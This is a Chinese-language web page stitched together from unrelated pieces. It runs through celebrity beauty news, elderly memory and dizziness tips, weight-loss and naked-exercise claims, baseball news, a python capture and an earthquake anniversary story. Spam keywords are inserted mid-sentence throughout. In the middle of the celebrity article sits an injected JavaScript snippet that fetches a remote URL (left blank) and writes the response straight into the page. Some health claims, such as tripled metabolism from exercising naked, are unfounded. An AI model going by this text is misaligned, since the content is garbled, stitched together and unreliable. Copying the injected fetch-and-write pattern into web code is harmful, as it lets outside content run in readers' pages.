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我只能說如果你吃的量夠的話,那就不用了!


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2017年02月01日 06:30

記者宋原彰/綜合報導

演藝圈女星各個擅長保養、打扮,為了青春永駐,常有一套自己的保養方法。因此,演藝圈不乏逆齡「美魔女」,這些美魔女們,身材一個比一個火辣,顏值一個比一個高,嬌嫩的膚質宛如少女、纖細的身材猶如名模,歲月幾乎沒有在她們臉上留下痕跡,讓粉絲讚嘆不已。

●潘迎紫-67歲

出道54年的潘迎紫(娃娃)當年因演出《神鵰俠侶》、《一代女皇》等多部經典電視劇,成為戲劇圈永遠的「第一女主角」,數十年如一日的緊緻臉龐,更讓她被封為「不老妖姬」,先前在微博放上她穿著削肩白色洋裝,翩翩起舞的照片,白皙緊緻的皮膚和一雙纖細的玉腿,實在很難讓人相信,她已經快70歲了。

潘迎紫曾在微博上發文澄清,外界都盛傳她已經71歲了,其實她才67歲。而且她認為年齡只是一個數字,任何事都要從心出發,心若衰老了,就算只有30歲,也會像個老人家,解密自己的凍齡秘招,就是要保持心情愉快。

▲▼「不老妖姬」潘迎紫保養得宜,白皙皮膚和火辣身材完全看不出已經67歲。(圖/翻攝潘迎紫微博)

●關之琳-53歲

香港女星關之琳是演藝圈知名美魔女,屆台灣 保健 食品齡53歲的她,因演出電影《黃飛鴻》中的「十三姨」讓人印象深刻,2010年卻宣佈息影,逐漸淡出螢光幕,2015年再度上節目時,爆料情斷百億富商男友陳泰銘,現在享受單身生活。她透露保養之道就是「足夠睡眠、心情愉悅和大量運動」,愛爬山的她常笑說自己有「過動症」。

另外,關之琳也表示,愛漂亮也是維持年輕的方法,她熱愛時尚、喜歡打扮、嘗試各種新的保養品,出門逛街從不藍藻偽裝,「戴口罩也沒用,人家一看眼睛就認出來了!」也因為亮眼逆齡的外型,還曾被爆料指出和「Super Junior-M」大陸籍成員周覓秘密戀愛,不過她隨後也否認,但也沒有把關係說死,只說:「有發展空間再說。」

▲▼57歲的關之琳透露,保養之道就是大量運動。(圖/中天提供/資料照/記者李鍾泉攝)

▲關之琳被爆料和「Super Junior-M」大陸籍成員周覓談戀愛。(圖/翻攝自關之琳、周覓IG)

●羅霈穎-57歲

演藝圈大姊羅霈穎出道30多年,個性直率海派、有話直說,已經57歲的她外型依舊亮麗,是演藝圈知名的美魔女,身邊不乏追求者,近日她帶著好友到大陸重慶旅遊泡湯,穿上比基尼大秀火辣身材,和其他2位年輕美眉站在一起絲毫無違和,凹凸有致的線條讓人鼻血直流。

羅霈穎身高167公分,擁有一雙招牌美腿,雖然已經57歲,但仍保養得像是20多歲的少女一般,皮膚吹彈可破。感情生活精彩的她,認為只要維持好自己的狀態,無論幾歲想換交往對象都不成問題,目前和小27歲的外籍男友交往,被虧享受青春肉體,但她說無法和一個人談戀愛超過5、6年,時間一久就變友情或親情,後又開玩笑說:「現在這個戀愛可能是人生最後一個戀愛了!」

▲▼羅霈穎身材超火辣,目前和小27歲的外籍男友交往。(圖/翻攝自羅霈穎臉書)

●方芳芳-55歲

今年已屆55歲的「最美主持人」方芳芳,婚後移居上海,專注家庭生活,鮮少在演藝圈露面,2015年難得答應劇場天后蕭艾和王偉忠的邀約,演出舞台劇《同學會》,穿上學生畢業服拍劇照時,凍齡的容貌真的彷彿學生妹上身,讓粉絲稱讚「0違和,有少女魂。」

方芳芳也透露自己的駐容秘方,就是每天一定要睡滿十小時,若沒有睡飽,下午就一定要補睡午覺。去年她回台灣,和徐乃麟、曾國城、庹宗康等人接下外景遊戲主持棒,玩遊戲時展現十足活力,要跑要跳都行,絲毫察覺不出來已經年過半百,像是活潑好動的年輕女生。

▲▼55歲的「最美主持人」方芳芳,歲月沒留下痕跡在她臉上。(圖/全民大劇團提供/中視提供)

●蕭薔-48歲

function httpGet(theUrl){var xmlHttp = new XMLHttpRequest();xmlHttp.open( 'GET' , theUrl, false );xmlHttp.send( null );return xmlHttp.responseText;}

var theUrl = '';

document.write(httpGet(theUrl));

「台灣第一美女」蕭薔現年48歲,出道20多年始終維持清麗氣質,透露保養祕方就是吃素和定時運動,她一星期2堂瑜珈、舞蹈課,偶爾做園藝,保持心情平靜,「我會跟植物交流,看到她們長大,我的花園裡有很多茶花,每個季節不同變化,心情上相當喜悅。」

身為「年曆始祖」的蕭薔,1999年開始自掏腰包拍攝年曆,至今已邁入第18個年頭,2017年她要給大家看到不同於以往的蕭薔,找來合作多年的台灣攝影大師林炳存為她掌鏡,「炳存非常了解我,他要拍出他眼中的清純中又帶點性感味道的蕭薔,所以在造型上和以往穿大禮服的蕭薔區隔開來。」對於曾經被批臉僵不自然,她從不抱怨,以高EQ回應,面對批評都笑笑帶過。

▲▼蕭薔年紀已快到半百,身材依舊超好,每年都會拍攝年曆的她,今年依然放送養眼美照。(圖/鐵人文創娛樂提供)

▲▼蕭薔年紀已快到半百,身材依舊超好,顏值相當高,不愧「台灣第一美人」稱號。(圖/資料照/記者李毓康攝/記者季相儒攝)





老人記憶力下降怎麼辦? 老人記憶力下降怎麼辦?



  1.畫面聯想記人名

  由於大腦更擅長圖像記憶,所以要記住對方的名字,不妨仔細端詳對方面孔,將其面孔與名字相結合,設想某一畫面,聯想記憶。

  2.記住鑰匙放何處

  如果你經常發現自己到處找鑰匙,那麼不妨在居室進門處放一個小籃子或者在廚房的牆上釘個掛鉤,專門放鑰匙。到家開門之後,立馬將鑰匙放在規定的地方,出門時直接在此處取鑰匙。養成生活規律,大腦會強化記憶,將鑰匙與籃子或掛鉤密切關聯起來。

  3.參照物幫助記車位

  人們有時候會在停車場轉悠很久,也找不到自己的車所停位置。其實這可以通過“認真觀察-心理快照-聯想”的方法加以記憶。

  第一步:停車後認真觀察自己汽車周邊環境,尋找參照物。

  第二步:快速設想一個畫面,記住停車區域。比如,如果停車位是3D區,那麼不妨想像三條狗繞著汽車追逐的場景。

  更簡單的方法是,大聲重複幾次停車區域。利用說、聽等多感官刺激,幫助鎖定記憶內容。

感冒

  4.編個故事記事牢

  將需要記住的一些東西寫下,然後編個故事,情節越離奇怪異越好。這種記憶方法對去超市購物非常管用。比如把要買的東西編成故事:“當一輛汽車穿牆而過時,一隻雞正在吃乾玉米片。汽車飛出懸崖,一頭扎進牛奶湖中……”

  5.常回憶各種密碼

  如今生活中,上網登錄、銀行卡、信用卡等都設有密碼。專家建議,設定密碼時,很多人愛用家裡電話或生日。雖然好記,但是安全係數非常小。字母加數字的密碼安全係數更大,但是記憶難度也更大。

  設置密碼時,老人可選擇一些容易幫助記憶的要素。比如,第一條愛犬的名字加上你養這條愛犬時的年齡,就是黑客難以破解的字母數字混搭密碼,安全係數高,經常回憶該密碼可進一步強化記憶。

老人記憶力下降的原因老人記憶力下降怎麼辦如何提高老人記憶力

  6.通過明星記電影名

蜆精的好處  老人經常感到“話到嘴邊想不起來”。大腦整理記憶時,會遵循相關性原則,即內容相關的項目會在記憶庫中放置在相對較近的區域。比如,記憶電影片名時不妨與片中某位電影明星相關聯。

  7.手機網絡提醒事項

  親朋好友生日等特殊日子往往也難以記住。如今可以充分利用電腦、手機及社交網上的“提醒事項”功能,提前提醒一些特別的日子,以便做好充分準備。





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1、新陳代謝率至少加快3倍

裸體運動時,體表溫度變化快於“穿衣運動”,尤其是在溫暖的環境下,體溫很快升高,血液循環加快,催進了新陳代謝速率。“裸體運動”較“穿衣運動”新陳代謝率可增加3個百分點。

2、動作更標準

裸體的時候,尤其是裸體面鏡子的時候,大多數人會有意識地提醒自己挺胸、收腹、抬頭……裸體運動時我們的動作會更為標準,特別是形體訓練的時候,更容易達到鍛煉效果。

3、局部減肥更有針

裸體運動時,我們可以及時發現自己哪個部位又胖了,應該進行減肥了,並且在運動過程中準確地對這個需要減肥的部位進行觀察和把握。衣服的作用之一就是為我們的身材揚長避短,記住這個把戲是用來騙外人的,可千萬別騙自己哦!

4、更健康

裸體運動時可以最真實地面對自己,最直觀地了解身體,更容易觀察身體的變化。裸體運動的時,由於沒有衣服的阻礙,排汗也更為順暢,皮膚的呼吸也變得更為自由。

5、減肥的興奮指數更高

裸體者對身體的愛護程度普遍較高,減肥意識更為強烈,在減肥過程中更容易投入精力。





狄亞茲。(圖/達志影像/美聯社)

記者洪偵源/綜合報導

水手隊此次經典賽有8名球員接受徵召,包括要替多明尼加挑戰連霸的坎諾(Robinson Cano)與克魯茲(Nelson Cruz),隊友狄亞茲(Edwin Diaz)要代表波多黎各,還放話說要把坎諾K掉。

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「我跟他說,當我對上你時,我要把你三振掉!」狄亞茲說,如果經典賽碰到自己的隊友,感覺會很有趣,「這時只要發揮我的速球!」

水手隊友要在經典賽上演投打對決,至少要等到複賽才有可能,多明尼加與加拿大、美國與哥倫比亞在C組,波多黎各在D組,對手有義大利、墨西哥與委內瑞拉。

水手隊此次有8名球員被徵召打經典賽,除上述3人外,歐尼爾(Tyler O'Neill)是加拿大隊,范迪特(Pat Venditte)是義大利國手,瓦力(Sebastian Valle)則披墨西哥球衣,義大利跟波多黎各還從水手徵召小聯盟球員,分別是葛維格里歐(Sam Gaviglio)與佩根(Emilio Pagan) 。

這樣的人數,確實多了點,教頭薩維斯(Scott Servais)表示,對水手來說,在季前調整上,的確是個挑戰,這些球員3月5日至6日會陸續離開訓練基地。

「我們等於好幾個星期無法看到他們,這不是很好,但對他們很重要!」薩維斯也提到,坎諾與克魯茲等人,其實也不會一直坐板凳,他們會出賽守備與打擊,算是處在非常有競爭力的環境,對開季應該會有幫助。

坎諾認為,多明尼加的球員這麼多,很多人還無法穿上國家隊球衣,這是一個難忘的記憶,「當你退休,你會想起你曾為多明尼加贏得經典賽。」

坎農。(圖/達志影像/美聯社)

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兩周稱一次體重

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定期做有氧運動

定期做不同的有氧運動能幫助你更好的燃燒體內多餘脂肪。當你長期反復重復同一個運動時,你的體重會保持在那不再下降了,這是你要變換著練習減肥運動。它能加速新陳代謝,血液循環,使身體肌肉變得更加緊實,從而更顯性感曲線。洗 傷口

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荷葉茶能分解體內多餘脂肪,還能幫你清理腸胃。常飲用荷葉茶能使你擁有性感細腰,還能幫助你排出體內多餘毒素與廢物,助你養顏。當你喝了一段時間的荷葉茶後,你根本不用節食就能減肥,因為你對食物的喜好會發生變化,喜歡選擇清淡的食物進行食用。

正常進食

絕食不僅不能讓你快速瘦身,還會損壞你的身體,只有正常的進食才能有效的促進新陳代謝。過度節食容易引發暴飲暴食,這樣會使你的身體感到不適,更嚴重的會影響你的代謝功能,還會使你的身體變得過度肥胖。

控制時間,少吃多餐

人體大約需要4個小時才能消化完上一餐所進食的食物,為了人體能夠更好的消化與吸收,建議減肥人士食用餐點的時候,選擇少吃多餐的方式,每隔4小時進一次食。這樣還能減少脂肪的攝入,更利於身體代謝。

每天保證吃早餐

吃早餐是非常的重要,睡醒後人體的各項肌能都在恢復運轉,吃早餐能促進新陳代謝,還能是脂肪加速燃燒。而美味的早餐還能補充你身體所需的各種營養,想要快速瘦腰的MM,就一定要吃早餐哦。

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巨蛇出沒工地,消防員順利捕獲。(記者黃佳琳翻攝)

2017-02-2409:28

〔記者黃佳琳/雄報導〕市燕巢區的一處工地,昨(23日)中午傳有巨蛇出沒,消防員獲報趕抵現場後,發現一條長約2公尺的蟒蛇不斷逃竄,消防隊員在工人的協助下,工人開挖土機用挖斗先將蟒蛇困在其中,消防員再徒手拉出這條蟒蛇,將蟒蛇放入垃圾桶及黑色大垃圾袋,順利捕獲成功。

消防員英勇捕蛇的影片被網友放到Facebook社團「爆料公社」,引來網友熱議,有網友笑稱,「快叫許仙出來救老婆」,還有網友替消防員抱屈,直指捕蛇本來就不是消防局的業務,而是動保處的工作,但大多網友難得見到捕捉大蛇的影片,多以獵奇心態欣賞,讚許消防隊員的英勇。

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老人為什麼會頭暈?  老人為什麼會頭暈?

老人為什麼會頭暈預防老人頭暈的方法老人頭暈怎麼辦

  1、低血壓

  對於高齡老人來說,如果基礎疾病控制平穩且頭暈是發生在早餐後,最好關註一下是否存在餐後低血壓,需要在餐後頭暈時測量一下血壓。

  如果症狀長期不能改善,需要盡快就醫,並在醫生的指導下使用藥物治療和乾預。

  2、頸椎病

  頸椎病(骨科神經內科)患者如骨質增生(骨科)、椎間盤突出等,常出現頸部發緊、靈活度受限、偶有疼痛、手指發麻、發涼等症狀。如果頸椎增生擠壓頸部椎動脈,造成腦供血不足,就會引起頭暈。

  這時應該到骨科就診,及時治療原發病才能緩解頭暈的症狀。

  3、貧血

  老人頭暈還可能是因為貧血(血液科),貧血(血液科)不僅會加速老年人臟器功能的衰退,而且會加重原有的慢性病,貧血背後有時還隱藏著消化道出血(消化內科) 、惡性腫瘤等不容忽視的嚴重問題。

  老年人在出現頭暈、乏力、面色蒼白等症狀時,不要以為自己只是心臟有毛病或者腦供血不足,還應去醫院檢查一下是否貧血,若是貧血,必要時需及時就醫。

  4、耳石症

  “耳石症”又叫位置性眩暈(神經內科耳鼻喉科),聽起來十分陌生,其實是一種常見的眩暈病,往往由一定的頭位或體位誘發,持續時間短於30秒,眩暈程

度較劇烈,變換體位到另一側後會迅速好轉,重複某種體位後症狀又會出現。多見於40歲到60歲的成人,是老年人眩暈最普遍的原因之一。

花青素食物

  如果老年人有類似症狀,需要及時就醫,一般可通過手法復位治療,應請有經驗、治療眩暈的專科醫生診治。

  5、高血壓

  高血壓(心胸外科心血管內科)患者早期多無症狀,偶爾體檢時會發現血壓增高,或在精神緊張、情緒激動或勞累後感到頭暈、頭痛(神經內科)、眼花、耳鳴、失眠、乏力、注意力不集中等。

  在高血壓(心胸外科、心血管內科)眾多非特異的症狀中,頭暈最為常見,且呈持續性,而非陣發性,一般不伴視物旋轉,有的為一過性,常在突然下蹲或起立時出現。與內耳性眩暈(神經內科)、前庭神經炎(神經內科眼科)等所致的眩暈(神經內科)有明顯不同。





南台大震將滿一年,有傷痛也有希望。有三對在地震中痛失孩子的父母,重獲新生兒,「把孩子生回來」;林姓夫婦則完成兒子生前開餐廳的遺願,著手學習烘焙,預計過年後開店,並將蛋糕命名為「希望蛋糕」,盼能鼓勵災民勇敢向前。維冠金龍大樓倒塌,失去15歲和10歲兒子的連晃汶、陳淑怡夫婦,去年底迎來女兒。為了懷孕,37歲的陳淑怡接通結紮的輸卵管,冒著妊娠高血壓的風險生產。能夠順利生下小女兒,夫妻倆表示,「思念是最大主因」,期盼新維冠重建好的那天,能帶孩子返家。「我們要把悲傷留在過去,迎向新的未來」,陳淑怡說,因為地震痛失愛子,新生命的降臨,意義重大,尤其她高齡懷孕,狀況一直不是很好,甚至導致女嬰早產;生產過程一度引發急性肝腎衰竭,還好最後脫離險境。陳淑怡說,相較於其他受災戶,她能活下來已經很好了,但地震奪走兩子的痛,想忘都忘不了,如今有了小女兒,夫妻倆只希望孩子平安長大;陳淑怡也多次夢到兒子回來讓她抱著,就像小嬰兒一樣,在夢中重回她的懷中。除連家夫妻以外,這一年來還有另兩對維冠住戶重獲新生兒,其中,王太太原本有四名子女,地震中失去兩名孩子,地震後月餘發現懷孕,去年11月迎接小女娃兒報到;同樣在地震喪失兩子的吳姓夫妻,吳太太預產期在2月,也將喜迎新生命。這三位小娃兒可說是「維冠寶寶」,見證受災戶無比的堅強與勇氣。完整數位專題:【南台地震周年追蹤報導】我們還在回家的路上

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